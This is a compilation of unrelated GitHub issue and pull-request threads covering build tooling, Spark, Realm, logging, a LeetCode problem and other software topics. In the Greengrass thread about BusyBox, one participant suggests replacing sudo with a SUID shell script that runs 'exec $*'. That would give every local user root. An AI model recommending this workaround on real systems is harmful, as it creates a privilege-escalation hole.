[R-T4.3-9] Modeling lots of elements

ID
R-T4.3-9

Section
WP4: Modeling Environment

Type
PERFORMANCE_EFFICIENCY

User Story
As a Software Designer/Software Developer/Operations Engineer, I want to model tens or hundreds of elements without any serious performance impact.

Requirement
In the GMT, it must be possbile to model an amount of up to two hundred elements (i.e., nodes, relations).

Extended Description
When modeling functions, events, and triggers it is most probably required to model a bunch of elements (tens or event hundreds). This requirement makes sure that a certain degree of performance is guarateed when using the modeling tool.

Affected Tools
GRAPHMODEL_TOOL

Means of Verification
Manual testing using serverless application deployments having 100 functions with one event trigger per function

Dependency
N/A

resolved in the context of RADON use cases, e.g., PRQ/EFI managed DevOps use case.
As an additional example not related to use case models, see https://github.com/radon-h2020/radon-particles/pull/108


Day56: LeetCode-2062. Count Vowel Substrings of a String - HashTable

Count Vowel Substrings of a String
https://leetcode.com/problems/count-vowel-substrings-of-a-string/
A substring is a contiguous (non-empty) sequence of characters within a string.
A vowel substring is a substring that only consists of vowels ('a', 'e', 'i', 'o', and 'u') and has all five vowels present in it.
Given a string word, return the number of vowel substrings in word.

Example 1:
Input: word = "aeiouu"
Output: 2
Explanation: The vowel substrings of word are as follows (underlined):

"aeiouu"
"aeiouu"

Example 2:
Input: word = "unicornarihan"
Output: 0
Explanation: Not all 5 vowels are present, so there are no vowel substrings.
Example 3:
Input: word = "cuaieuouac"
Output: 7
Explanation: The vowel substrings of word are as follows (underlined):

"cuaieuouac"
"cuaieuouac"
"cuaieuouac"
"cuaieuouac"
"cuaieuouac"
"cuaieuouac"
"cuaieuouac"


Cargo apk build system rework and other enhancements

See #212
Changes

Updates dependencies to newer version. For example uses serde instead of rustc-serialize.
Reworks build process
- Use a custom Executor with cargo::ops::compile_with_exec and injected code build a static libraries for each build target(ABI) and cargo target(binaries and examples). This allows support for multiple cargo targets.
- Uses ndk-build to build the shared library for each build target. This gets rid of the need for the linker work around and fixes issues related to compatibility with newer NDKs which do not include GCC.
- Updates supported build targets to match those supported by the current NDK.
- Minor change to injector glue to work with new system for calling main().
- Use SDK provided tools to build and sign APKs. This removes the gradle dependency.
- If an Android debug keystore exists then it uses this to sign the APK. Otherwise, it creates it using the keytool provided by the Java JRE or JDK. This was previously handled by the gradle build.
Fixes injected glue warnings related to 2018 edition.
Formats code using rustfmt. This does result in extra noise in the diff but it should help when reviewing future contributions by myself or others.
Adds support for building and installing multiple cargo targets.
Adds support for customing uses-feature and uses-permission portions of Android manifest via Cargo.toml.
Removes hard coded uses-permission from manifest. Thie avoid unintended permission request.
Adds an example demonstrating additional settings in Cargo.toml.
Adds an example of a crate which includes multiple cargo targets(binaries and examples).
Adds an integration test which uses cargo apk to build all the examples
Updates android_version(compile version) to 29 and target sdk version to 29. The min_sdk_version remains at 18.
Updates Dockerfile to be based on the latest official rust docker image. It also updates to the latest Android SDK and NDK. This makes it easier to update SDK and NDK versions moving forward.
Updates Dockerfile to run tests as part of the build process. Recommend building it as part of CI at some point.
Updates README to match changes. Links to and references the docker image provided at https://hub.docker.com/r/philipalldredge/cargo-apk. If merged, it would likely be better to setup an official rust-windowing organization on github and automatically build the docker image based on that. The linked docker image automatically updates based on my fork.

Tested using the window example in https://github.com/mb64/winit/tree/android-eventloop-2.0 referenced in rust-windowing/winit#1001
Potential Compatibility Changes
Most of this shouldn't be a factor for users of the Docker image but it may require others to upgrade their Android SDK/NDK. I have not performed testing on a large number of Android SDK and NDK combinations.

The default android version and target sdk version requires a newer Android platform. This prevents warnings when running on newer Android devices. The setting can be adjusted as appropriate. In general it is recommended to target the latest android devces.
The default and supported build targets has changed. The default is to build on all targets supported by the current NDK. arm-linux-androideabi was removed. See README for supported targets.
The removal of the hard coded uses-permission may result in minor issues when targeting older versions of android. Users will need to add the permission to the Cargo.toml. For newer version of android, users will also need to request permission at runtime using a Java API. A rust API that uses JNI to do that is needed but that is a separate concern from the build process.

Related Issues
Closes #212, #208, #191, #138, #123, #211, #202, #198, #192, #164, #134,
(Reason for some of the closing is removal of gradle. Some of them may have been resolved by other pull requests but should be resolved by this as well.)
Likely fixes: #109

This does not update the circleci configuration. I hadn't really looked at it. It looks like its tests have been failing for a while. This pull request rolls testing into the building of the docker image and removes the need for a base docker image. This should make it simpler to migrate to travis for consistency with other rust-windowing projects.  All travis needs to do is build the docker image. On merging into master, it could push the docker image to docker hub and also publish to crates.io.  Related to #221

R? @mb64

I think most of the comments should be addressed now.  I'm not sure what we should do about the platform 18 issue. Like I mentioned in the comment, I suspect that the issue has been resolved. However, I'm unable to test it. If we can confirm that it works with lower platform levels, then we should change the default setting and those comments.
@mb64 can you retest #205? I am unable to reproduce. I only tested the color option and it seems to work as expected.

A few more things:

Yeah, this seems to propagate arguments to Cargo fine.
If you want the examples to compile fine with cargo build, try a .cargo/config file with something like:[build]
target = "arm-linux-androideabi"

When the package name has a dash in it (I just tried with build-test), the generated static library has underscores instead (libbuild_test.a).  Cargo apk, however, looks for libbuild-test.a.

Good catch on the build name. Fix has been pushed.

Despite all my nitpicking, I'm overall really happy with this – it's nicer to use than before, and it builds faster and fixes a lot of things (including #172, which is not among the listed issues). Thank you for your work on it.
I'd like to merge this, but I'll wait until I get your go-ahed in case there's anything else you want to add/change/discuss.

@mb64 I made some additional changes with regards to how the package_name and label values are handled. Secondary targets no longer use the value defined in package.metadata.android and will always use the default value unless otherwise specified. I also modified the default package name for examples. It made sense(to me) that the label behaved this way. The package_name is more important because there could be issued related to uniqueness otherwise. The readme has been updated to describe them.
Unless you object to those changes, I think this is ready to merge.

@mb64 actually, hold off of any merging. I'm looking into something.

The issue has been fixed. I was concerned that some of the config values in one of the examples wasn't what I expected. It was due to using the wrong name for a secondary target. It would be nice to report a warning in such cases but I think that can wait.

I had a few minor issues with the examples and readme that were detected once deny_unknown_fields was enabled. I was in a hurry and forgot to run all the tests. The fixes have been pushed and all tests pass.

I'm merging this.
I'll create an issue to list the further changes.


Cypress/E2E: Add @noncloud to support_packet_generation_spec

Summary
Recently there were changes in Packet generation Dialog for Cloud user.
Following two test cases are not valid for cloud anymore
'MM-T3849 - Commercial Support Dialog UI - E10/E20 License'
'MM-T3818 - Commercial Support Dialog UI - Links'

@furqanmlk Comment non-blocking so feel free to merge anytime if no other action is required.

/update-branch

/cherry-pick cloud

Cherry pick is scheduled.


Pushing into a DefineArray does not reevaluate bound getters

This is pseudocode but something like this should expose the bug:
let array = new DefineArray();

let hasFoo = new Observation(function() {
  return array.indexOf("foo") !== -1;
});

canReflect.onValue(hasFoo, value => {
  console.log('has foo?', hasFoo);
});

array.push('foo');

Will also make sure .includes() works in place of indexOf.


Cannot get extension working - Am I using the wrong API Keys?

Hello Yokawasa,
Thank you for creating this cool VS Code Extension!
I am trying to use it however I only get the Translating your text: Target Language (en) message when running the TranslatorVoice: Translate command. This is of course even after inputting my API Subscription Keys.
Thus, I wanted to verify that I have correctly configured your Extension.
For Translatorvoice: Sub Key Translator, I am using Microsoft's Translator offered under Microsoft Azure's Marketplace. I followed How to sign up for Translator help doc

Hello @ahandsel
Very sorry for the late response
If you have right subscription key, and set it to Translatorvoice: Sub Key Translator correctly, you will see the translated text in Output like this

Here is how you get Sub Key for Translator (Azure Cognitive Services )
After signing in to the Azure portal, you can create a subscription key for Translator Text API access in the following ways:

Select "+ Create Resource" (+ リソースの作成) .
In the Search Marketplace search box, type ”Translator Text” and select Translator Text from the results.
Select ”Create”（作成） to define the subscription details.
On the subscription details page, select "price level"（価格レベル） that suits your needs from the Price Level list and click Create to complete the subscription creation.

Each subscription has a Free level. The Free level has the same features as the paid plan and has no expiration date.
You can only have one free subscription in your account.

Once you have created a subscription to the Translator Text API, get a subscription key for your API.

Sorry the image below are Japanease one

Plase try with right sub key and let me know if you still have a problem.

Hello @ahandsel
Very sorry for the late response
If you have right subscription key, and set it to Translatorvoice: Sub Key Translator correctly, you will see the translated text in Output like this

Here is how you get Sub Key for Translator (Azure Cognitive Services )
After signing in to the Azure portal, you can create a subscription key for Translator Text API access in the following ways:

Select "+ Create Resource" (+ リソースの作成) .
In the Search Marketplace search box, type ”Translator Text” and select Translator Text from the results.
Select ”Create”（作成） to define the subscription details.
On the subscription details page, select "price level"（価格レベル） that suits your needs from the Price Level list and click Create to complete the subscription creation.

Each subscription has a Free level. The Free level has the same features as the paid plan and has no expiration date.
You can only have one free subscription in your account.

Once you have created a subscription to the Translator Text API, get a subscription key for your API.

Sorry the image below are Japanease one

Plase try with right sub key and let me know if you still have a problem.

@yokawasa Thank you for your quick response! I appreciate the steps & screenshots!
I went through and created an API for Translator Text and inputted that into your VS Code Extension setting but it still does not work.
Tested out my API Key using the Translator V3.0 Reference - Azure Cognitive Services Doc and was successful.
I also generated an access token and tried that as well but still did not work.
Here is what I have tried. Sorry for the ugly URL block ( ^ . ^ ;)
https://youtu.be/_dAQy-jg1Nc
Thank you for your time!

@yokawasa Thank you for your quick response! I appreciate the steps & screenshots!
I went through and created an API for Translator Text and inputted that into your VS Code Extension setting but it still does not work.
Tested out my API Key using the Translator V3.0 Reference - Azure Cognitive Services Doc and was successful.
I also generated an access token and tried that as well but still did not work.
Here is what I have tried. Sorry for the ugly URL block ( ^ . ^ ;)
https://youtu.be/_dAQy-jg1Nc
Thank you for your time!

@ahandsel Thank you for the confirmation.
In your youtube video, I saw multiple TranslatorVoice output channel like this. To clarify the problem, can you please check if translated output came out at the bottom channel?

Anyway, I'll improve the extension not to make multiple TranslatorVoice ouput in the next version.

@ahandsel Thank you for the confirmation.
In your youtube video, I saw multiple TranslatorVoice output channel like this. To clarify the problem, can you please check if translated output came out at the bottom channel?

Anyway, I'll improve the extension not to make multiple TranslatorVoice ouput in the next version.

@ahandsel

Anyway, I'll improve the extension not to make multiple TranslatorVoice ouput in the next version.

By the way, I've fixed this. Please upgrade the extension to the latest version, v0.5.0
https://github.com/yokawasa/vscode-translator-voice/releases/tag/0.5.0
Thank you

@ahandsel

Anyway, I'll improve the extension not to make multiple TranslatorVoice ouput in the next version.

By the way, I've fixed this. Please upgrade the extension to the latest version, v0.5.0
https://github.com/yokawasa/vscode-translator-voice/releases/tag/0.5.0
Thank you

@ahandsel Can you please try the latest version (v0.5.0) and check if the issue is resolved?

@ahandsel Can you please try the latest version (v0.5.0) and check if the issue is resolved?

I'm closing the issue, but if you need further help, feel free to open another issue
thanks


[docs] How to add a new plugin ?

❔ Question
Any good docs on the code structure on how to add new providers there ? Code is slightly convoluted and it's quite hard to see what changes are required to add one - ideally they'd be plugin-like structure bundled in one dir, aren't they yet ?
🔦 Context
Just trying to add some more providers
Aha! Link: https://t-mobile1t-mobile.aha.io/features/PM-315

At the moment the rules are plugin based , however, the plugin based ETL is coming up in upcoming versions.
If you want to gauge the compliance for new type of data ( provider) you can definitely write new jobs to inject the data into the system and rest will be take care by the system.
@anilcs81  will publish a wiki page on how you can inject new data into the system.

❔ Question
Any good docs on the code structure on how to add new providers there ? Code is slightly convoluted and it's quite hard to see what changes are required to add one - ideally they'd be plugin-like structure bundled in one dir, aren't they yet ?
🔦 Context
Just trying to add some more providers
Aha! Link: https://t-mobile1t-mobile.aha.io/features/PM-315


[SPARK-18609][SPARK-18841][SQL] Fix redundant Alias removal in the optimizer [Backport-2.1]

This is a backport of https://github.com/apache/spark/commit/73ee73945e369a862480ef4ac64e55c797bd7d90
What changes were proposed in this pull request?
The optimizer tries to remove redundant alias only projections from the query plan using the RemoveAliasOnlyProject rule. The current rule identifies removes such a project and rewrites the project's attributes in the entire tree. This causes problems when parts of the tree are duplicated (for instance a self join on a temporary view/CTE)  and the duplicated part contains the alias only project, in this case the rewrite will break the tree.
This PR fixes these problems by using a blacklist for attributes that are not to be moved, and by making sure that attribute remapping is only done for the parent tree, and not for unrelated parts of the query plan.
The current tree transformation infrastructure works very well if the transformation at hand requires little or a global contextual information. In this case we need to know both the attributes that were not to be moved, and we also needed to know which child attributes were modified. This cannot be done easily using the current infrastructure, and solutions typically involves transversing the query plan multiple times (which is super slow). I have moved around some code in TreeNode, QueryPlan and LogicalPlanto make this much more straightforward; this basically allows you to manually traverse the tree.
How was this patch tested?
I have added unit tests to RemoveRedundantAliasAndProjectSuite and I have added integration tests to the SQLQueryTestSuite.union and SQLQueryTestSuite.cte test cases.

Test build #72539 has started for PR 16843 at commit 4f0c368.

Test build #72539 has finished for PR 16843 at commit 4f0c368.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/72539/
Test PASSed.

Merged build finished. Test PASSed.

Merging this to 2.1.


deleteRealmIfMigrationNeeded not working

In my realm configuration I am using:
       var configuration = Realm.Configuration(fileURL: appURL, schemaVersion: 0)         configuration.deleteRealmIfMigrationNeeded = true
And yet I see the following errors in my logs:
Realm database error. Error Domain=io.realm Code=10 "Migration is required due to the following errors:

Primary Key for class 'FalxEventEntity has been added.
Property 'FalxEventEntity.processedByAggregator' has been added.
Property 'FalxEventEntity.primaryID' has been added." UserInfo={NSLocalizedDescription=Migration is required due to the following errors:
Primary Key for class 'FalxEventEntity has been added.
Property 'FalxEventEntity.processedByAggregator' has been added.
Property 'FalxEventEntity.primaryID' has been added., Error Code=10}

Expected Results
Because of the schema mismatch it should just delete the schema as I specified deleteRealmIfMigrationNeeded = true
Actual Results
It does not delete realm, instead I get the realm database error

The error in question should definitely be suppressed by deleteRealmIfMigrationNeeded, which makes me think that you happen to be opening the Realm before you've enabled that configuration option.
Can you set a breakpoint (or add a print statement) before you do configuration.deleteRealmIfMigrationNeeded = true and verify that it is hit before you see the error raised?

I'm not able to reproduce it consistently, I noticed it on the logs of some of our devices, I wonder if something is stopping it form performing a migration. I see the error every time we try to save an event, which is odd. Also odd that I don't see it on all devices.


Refactor HTTP codes with fiber

Refactor all the HTTP codes using fiber's built ins.
i.e.: fiber.StatusOK instead of 200


Hyperparameters to replicate reported performance

Thank you for the great work!
I would like to ask the correct hyperparameters for each of the datasets in order to replicate the paper reported result. Thank you!

Hi @Tiiiger, I would like to ask if you have been able to find the parameter settings for all the datasets? I ran MUTAG and found the default setting can (kind of) recreate the result. Given there is early stopping and whatnot, the mean accuracy can be higher and match the paper.
batch_size = 128
num_layers = 2
lr = 0.01
num_mlp_layers = 1
hidden_dim = 64
# --epochs can be way smaller than the default 350 (~90)

mean acc = 0.8775
std acc = 0.0422

I try to tune some hyperparameters but possibly due to high variance, the result averaged over 10 folds is usually worse than the paper reported number. Also, using MLP and 1-layer do not seem to make a difference in my experiments.

I see. I am searching for COLLAB hyperparameters now. So far varying the number graph layers around 5 doesn't help. Mean acc = ~60% +- 2%. If I take only the highest test accuracy over all training process (assuming early stopping.....), mean acc = ~70%. There is 10% difference from the paper so please let me know if you found the setting that works for COLLAB.

Hi, thanks for your interest. There are number of hyper-parameters to be tuned. Please refer to our paper for the detailed procedure. For COLLAB, did you set --degree_as_tag?

Besides, the variance is indeed rather high due to the small data size. Still, all the results should be able to be reproduced by the exact procedure described in our paper.

@weihua916 Thanks! I indeed did not set --degree_as_tag for COLLAB since I switched from MUTAG and forgot to use the degree as feature vector. Btw, is the default 350 epochs necessary to achieve the results in the paper?

Great! I do not think 350 epochs are necessary for most of the datasets. :)

Cool! Thanks for making the code available btw :).


fix: TypeError when modelNumber is None

https://github.com/wuwentao/midea_ac_lan/pull/16

Codecov Report
Attention: Patch coverage is 0% with 1 lines in your changes are missing coverage. Please review.

Project coverage is 0.09%. Comparing base (325369f) to head (10945e7).

Files
Patch %
Lines

midealocal/cloud.py
0.00%
1 Missing :warning:

Additional details and impacted files
@@          Coverage Diff          @@
##            main     #10   +/-   ##
=====================================
  Coverage   0.09%   0.09%
=====================================
  Files         77      77
  Lines       6561    6561
=====================================
  Hits           6       6
  Misses      6555    6555

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Option to reduce log verbosity

It would be nice to have a compile option so that file and line numbers are omitted for the lower level logs.

I'm working on moving over the logging backend from Boost.Log towards spdlog at the moment. I already added a way of overwriting file/line/function per individual log message (could be useful if the logging comes from another place). But I'll add a compile time flag for disabling this entirely. Another option might be to (additionally) provide individual formatstrings for the different log levels


getChildPids does not work on Busybox based Linuxes

The  function getChildPids uses the ps command and flags not supported by Busybox
    Process proc = Runtime.getRuntime().exec(new String[]{"ps", "-ax", "-o", "pid,ppid"});

https://github.com/aws-greengrass/aws-greengrass-nucleus/blob/87d89a61342f20e2e84f505af38bd89f68514c2f/src/main/java/com/aws/greengrass/util/platforms/unix/UnixPlatform.java#L489
Busyboxy supports -o and -T and that is it,
cf.  https://busybox.net/downloads/BusyBox.html
cf. https://git.busybox.net/busybox/tree/procps/ps.posix
One way to get the list of all the child processes for a given process that works on on Linux systems is to readdir on
/proc/{pid}/task/ to get he list of child processes.  You can check the parent process for each by reading the 4th field
of the stat file  /proc/{pid}/task/{tid}/stat.
The process group id is also available in the 5th field.  (In the case of my running core there are 37 child processes in this group for example).

Hello,
Thank you for reporting this issue to us. I have verified the issue and we will work to resolve it.

Is busybox the only option in your use case?
Greengrass requires the sudo command to exist, which busybox does not provide. I just want to check that your system does have sudo because even if we make busybox work, we'd still require sudo.

We could provide sudo as a simple shell script: exec $*
Then make that script SUID: https://unix.stackexchange.com/questions/279223/how-do-i-set-up-busybox-to-allow-a-non-root-user-to-set-the-date https://unix.stackexchange.com/questions/279223/how-do-i-set-up-busybox-to-allow-a-non-root-user-to-set-the-date
But it would be special work for busy box.

On Apr 7, 2021, at 11:19 AM, Michael Dombrowski @.***> wrote:
Hello,
Thank you for reporting this issue to us. I have verified the issue and we will work to resolve it.
Is busybox the only option in your use case?
Greengrass requires the sudo command to exist, which busybox does not provide. I just want to check that your system does have sudo because even if we make busybox work, we'd still require sudo.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/aws-greengrass/aws-greengrass-nucleus/issues/910#issuecomment-815124249, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAJO6RJ2QATWIOYNSAJ3SUDTHSO2LANCNFSM42QK4IDA.

Hello,
Thank you for reporting this issue to us. I have verified the issue and we will work to resolve it.
* Is busybox the only option in your use case?

Yes, busybox is the only option as it is how our vendor's embedded Linux vendor implements all of the core Linux commands.

* Greengrass requires the `sudo` command to exist, which busybox does not provide. I just want to check that your system does have `sudo` because even if we make busybox work, we'd still require sudo.

The system does not have sudo, and our vendor is not supporting it at this time.


Add basic project description and setup guide

"Create initial README.md with project overview, key features, and basic setup instructions"

[ ] "Create initial README.md with project overview, key features, and basic setup instructions"


Version change to 0.16.0

r? @ustulation
(maidsafe_highfive has picked a reviewer for you, use r? to override)


Mouse Button 4 and 5 pass through to Windows 11 ARM Guest on Apple Silicon.

Hi Folks,
I'm having trouble getting the forward/backwards functions for Mouse buttons 4 and 5 to get passed through to the Windows 11 Arm64 guest OS on my M1 with Apple Silicon. Any ideas?

This still doesn't work for me. What do I need to do to get it to work?


[EUWE] Enable MW Datasource delete from list

Ported from https://github.com/ManageIQ/manageiq/commit/273f68f45abfc616304547819190b6482fd176b0
@miq-bot add_label ui, euwe/yes
https://bugzilla.redhat.com/show_bug.cgi?id=1404741

@ammendonca is https://github.com/ManageIQ/manageiq/commit/273f68f45abfc616304547819190b6482fd176b0 the right reference?  That commit is in Euwe. Can you please double-check?

@simaishi, this PR can be closed, https://github.com/ManageIQ/manageiq/pull/13467 fixes the problem as well and in a more proper way. Thanks!


fix(carousel): reset $currentTransition when no slides

Reset $currentTransition when there are no slides

Here is a Plunker with the fix in action (as well as fixes to user error).
This fixes #4390.

When creating a Plunker, please add instructions of how to see it working. If I understood correctly, I need to delete all slides and add new ones, but I don't see how to do that in the plunker.

The Plunker is resetting it at a setTimeout of 5000ms, which is coincidentally when the animation starts, which triggers the bug in the original Plunker in the referenced issue

I see. After some seconds (before doing the first change) it does a weird animation thing. Do you see that? (Chrome).

Yep, that will be hard to fix I think - there is another issue open currently with the 0.-4 milestone on a weird animation problem when adding a new slide though, may be slightly related

Alright then.


[ko] Update outdated files in dev-1.27-ko.1 (M96-M103)

Signed-off-by: jongwooo<EMAIL_ADDRESS>Description
Related Issue: #41631
Updated outdated files in content/ko/docs/reference/glossary/.
8 files to be modified

[x] M96.  content/en/docs/reference/glossary/etcd.md | 1(+XS) 1(-)
[x] M97.  content/en/docs/reference/glossary/istio.md | 1(+XS) 2(-)
[x] M98.  content/en/docs/reference/glossary/kubeadm.md | 1(+XS) 1(-)
[x] M99.  content/en/docs/reference/glossary/kubectl.md | 1(+XS) 1(-)
[x] M100.  content/en/docs/reference/glossary/object.md | 1(+XS) 1(-)
[x] M101.  content/en/docs/reference/glossary/qos-class.md | 1(+XS) 1(-)
[x] M102.  content/en/docs/reference/glossary/service.md | 11(+S) 4(-)
[x] M103.  content/en/docs/reference/glossary/statefulset.md | 2(+XS) 2(-)

/assign


Adding dependencies by no v8_use_snapshot

ArangoDB use no snapshot, but use v8_use_snapshot=true for creating  additinal libs (v8_libbase, 'v8_libplatform). Due this change can be used v8_use_snapshot=false.
Note: this works only with gyp and Unix make. Ninja don't work with v8_use_snapshot=false.

thanks.


fix: Make H5P content resize when iframe size changes

I tested it in browser and on mounted I get a Uncaught TypeError: H5P is undefined in the console. The function is still registered for the ResizeObserver and is called when the size of the element changes. I'd prefer using the listener we have that waits for the hello-event and then register the Observer. But the course presentation I was using for testing 8https://h5p.org/presentation) does not seem to send this hello at all.. Not sure if this is related to the h5p content yet


[Feature Request] Expose rehype tree for computed fields

I'd like to be able to use the body's tree applied with remark/ rehype plugins in computed fields.
It's much simpler to apply transformations and then select nodes as opposed to dealing with either the raw or code body. It would make extracting elements like headings or first top level paragraph (for an excerpt) cleaner. It's quite hard to capture the first paragraph based off the raw body unless it's reparsed(?)

Bump since there's a research label


Set up a "Hello world" project with two apps

Link to the front-end pull request
Create a new Rails API app called 'hello-rails-back-end'. ✔
Initialize your project with Git. ✔
Make sure that your project has a Postgres database set up. ✔
Create a table for storing your messages and create 5 different greetings. ✔
Create an API endpoint that selects a random greeting from your table (you will need a controller with an action and rails route). ✔
As an extra, I did a simple authentication. Username and password are displayed in the screen (username: username1, password: password1)

@Strangeal

I'm using the correct gitflow.
About the readme, if you're not specific about what is wrong with mine, then I don't know what to change. Basically you're asking me to make it over again for no reason


Include dangerous records

Closes #24

Adds --include-dangerous-records option.
Considers non-origin NS records to be safe.
Adds validation of NS and SOA records.

Thanks, I was working on this but got stuck - you've saved me having to work it out. :-)


Notion on 4k wayland that scales 200% shows low resolution

What is happening?
Using wayland on a 4k laptop, set scale rate to 200%, notion-enhance linux app shows bad resolution
What should be happening?
Use same resolution as other app
Screenshots (if applicable):

As you may see in the screenshot, the icon in notion is half resolution of the github page in browser
Operating system/browser name & version:
Fedora 36 Plasma
KDE Plasma 5.25.4
notion-enhancer and/or notion-repackaged version:
2.0.18
notion-enhancer configuration (enabled/disabled mods and their settings):
Tried to disable all mod

This is because notion-repackaged/notion-enhanced is built using Electron 11 (see scripts/build_locally.sh, 38L), but Wayland support is first introduced in Electron 12. Updating the packages to use newer Electron versions should solve the problem

@wak31415 thanks, that's good to know. For the app to run, notion-repackaged has to match whatever version of Electron the official builds used, and at the time of the last release, that was Electron 11. Notion has since been updated to Electron 14, so this will be fixed in the next release of the notion-enhancer/notion-repackaged.


Support find .sarif files recursively

This addresses #220 by recursively calling fs.readdirSync()
Merge / deployment checklist

[X] Confirm this change is backwards compatible with existing workflows.
[X] Confirm the readme has been updated if necessary.

The workings of this feature is not documented in the action.yml nor readme, despite the checkmark for it.
Some examples would be helpful. For example, this recursive implementation does only work on folder names and not file names.

Some examples would be helpful. For example, this recursive implementation does only work on folder names and not file names.

Can you be more specific? You can specify a directory (which gets searched recursively for sarif files or a single file. Is there a feature you are looking for, but is not implemented here? Or are you just seeking clarity on the behaviour?


Bottom of about-hendrik page is broken

In the bottom of the pace there is a large blue circle SVG (see https://open-elements-de.netlify.app/about-hendrik/). The SVG looks like it is placed 2 times since the dashed are somehow overlapping (https://open-elements-de.netlify.app/illustrations/dash-line.svg). Should I ask the designer for a new / better SVG or have we created that one?
Next to this we need a gap / padding below that SVG to not directly have the footer below the SVG.

Please ask the designer to share the better SVG dash line. Every time I export dash line SVG from the Figma it is broken or distorted.

Designer told me that a new version is part of the sigma file: https://www.figma.com/file/uNorvr0G3GjpeUruOTOGwk/Open-elements_design?node-id=0-1

When I export the svg from the figma file, it is always distorted. Could you please ask the designer he could send the dashline SVG.

Can you check the new FIGMA file: https://www.figma.com/file/uNorvr0G3GjpeUruOTOGwk/Open-elements_design?type=design&node-id=0%3A1&t=4tXyvG3BoPg17v4Z-1
Open elements_design.fig.zip

fixed


Add option '--port' to 'rails server' alias.

Hey @gfvcastro & @robbyrussell, thanks for keeping this Rails plugin alive!
Just wanted to provide some quick feedback: I used to run my specs by typing rsp then pressing tab and it would be autocompleted into rspec. With this alias, I can't anymore :(
Sure, it's an extremely minor annoyance, perfectly comparable to this:

But I'm wondering whether such a specific command needs to be added as one of the default aliases for all Rails developers who use OMZ (I have a lot of aliases that I keep in my own .zshrc).
If other people start having the same issue, maybe we could reconsider?

@KevinBongart: Sorry. Oh... You are right...

@gfvcastro It's alright! Since then, I just adapted my workflow by typing one more letter :)


Color Options

Is there a way to color code the "label" based on if its a log or error etc..?
[Mon Jun 10 2019 19:41:18] [LOG]
[Mon Jun 10 2019 19:41:18] [ERROR]

It would be cool to see "ERROR" in red so it stands out from all the "LOG"s

It will be possible in version 3.0.0.
I'll come back and give you an example...

Now that I seem to have a handle on your extension I'll go ahead and put version 3.x back on

Let me see.
In Console-stamp 3.0.0 you can write your own tokens, and use them in your format. Here is an example, my_label, that make use of the default label token, but wraps the result in a chalk template if it is the error method.
const console_stamp = require( 'console-stamp' );
const chalk = require( "chalk" );

console_stamp( console, {
    format: ':date().yellow :my_label(7).blue',
    tokens: {
        my_label: ( arg ) => {
            const { method, defaultTokens } = arg;
            let label = defaultTokens.label( arg );
            if ( method === 'error' ) {
                label = chalk`{red ${label}}`;
            }
            return label;
        }
    }
} );

I set the default label color to blue here, like this my_label(7).blue, just to show you that it will override this color.
So, in 3.0 you can prefix your console with whatever you want. Just make a token and put it in format, starting with a colon, like this:
...
console_stamp( console, {
    format: ':my_token(param_1, param_2)',
    tokens: {
        my_token: ( {params: [p1, p2]} ) => {
            // p1 is now 'param_1' and p2 is now 'param_2'
            return '-> Hello, World! -> ';
        }
    }
} );

console.log("Foo")
//-> Hello, World! -> Foo

(I guess this is a good start for the README for 3.0.0 :)
I hope this helps.

Kill i knew it had something to do with those tokens just couldn't figure out how to apply the chalk ... thank you! :)


Moved binds of PRIMITIVE_* contants from ArrayMesh to Mesh

First contribution so please let me know if it is not up to contribution guidelines. Fixes #9182.

The fix looks good, but 3 commits for this is a bit messy. Could you have a look at the instructions on http://docs.godotengine.org/en/latest/community/contributing/pr_workflow.html#mastering-the-pr-workflow-the-rebase to rebase and keep only one commit?

Of course, should be all squashed now.


Parallel builds

Required
Associated issue: #2325
Description
Several improvements to allow parallel builds with mvn clean install -T 10 in the root project.
Most of the issues in the parallel builds are caused by:

Builds of individual modules are slower because multiple builds are happening at the same time, eating a lot more CPU. Therefore standard timeouts are often not enough. Especially, Piranha Micro runtime takes longer to start. It's better to have some other waiting mechanism that doesn't rely on time. I implemented a mechanism that waits until Piranha port is occupied but some short wait time (1 second) is still necessary until Piranha is ready to serve requests.
When running build in parallel, tests in the test directory are sometimes started in parallel to modules that build its dependencies. As a result, while a test is running, another build might be in the middle of building/deloying its artifact, and the tests tries to use a JAR/WAR in an inconsistent state. This often results in classes or resources not found on the classpath. Maven does a good job in resolving dependencies among parallel builds but sometimes it's necessary to add a dependency on the build module so that it's run before the test module that needs it.

I also randomized ports added a mechanism to find an available port so that multiple Piranha runtimes executed from parallel tests won't clash. This often wasn't an issue but it's a good practice anyway.
From now on, if we keep the following rules, builds will hopefully stay thread-safe:

always use the PiranhaStartup class in the tests/common module to wait for a Piranha runtime until it starts, don't wait for an explicit time period
if tests fail on a class or resource not found on the classpath, investigate which Piranha runtime is used in the test and add it as a test dependency. Then run the failing module isolated and see if it passes the tests.
If the added dependency causes the test to fail (it's not expected to be on the classpath), remove it from the test classpath with the classpathDependencyExcludes configuration option in the surefire or failsafe plugin

I executed mvn clean install -T 10 in the root directory 5 times in a row and the build succeeded in all 5 cases. Before, I got a failure in almost every build. So I believe that building in parallel is now pretty stable.
My CPU has 8 cores, most of the time all of them were 100% utilized. With this PR, build time with mvn clean install -T 10 on my laptop is 3 minutes 51 seconds.

Hi @OndroMih
As this is your first PR can you please acknowledge that the code will be owned by Manorrock.com. I will only ask this one time as that is all that is needed for contributing code back to us.

@OndroMih some minor things for future PRs. We try not to introduce whitespace changes as much as possible as it generates a lot of noise when doing PRs. And try to add JavaDoc to every public method / class to describe what it does. Other than that this is looking good. Just waiting for the acknowledgement and then we can merge this PR

Hi, @mnriem , I've added a section "Copyright acknowledgement" into the description of this PR, is it enough?

@OndroMih Let us know when the PR is ready :)

The PR is ready now, you can merge it if you want. Even my last tweaks weren't necessary but now there's really nothing to add.
And thanks for your welcome :) Piranha is an interesting project and I'm glad I can contribute to it.

@OndroMih Congratz on your first PR. Would you mind if we announce it on Twitter?

Yes, feel free to announce it. I have something to celebrate :)


Hello, narzoul! The new version of the problem.

I Use new DDrawCompat's version tested different classic 2D old games with different hardware and found the following problems.
1, window mode switch full screen appears the program is not responding or black screen
2, some 2D games are developed with DDRAW, the material is BMP mixed dyeing, and some new graphics cards can't handle" D3DRENDERSTATE_COLORKEYENABLE". Can this be  solved?
Thanks again for letting us play the game of the year. :)

Please give more details so I can easily reproduce the issues, otherwise the chances of a fix are next to 0.
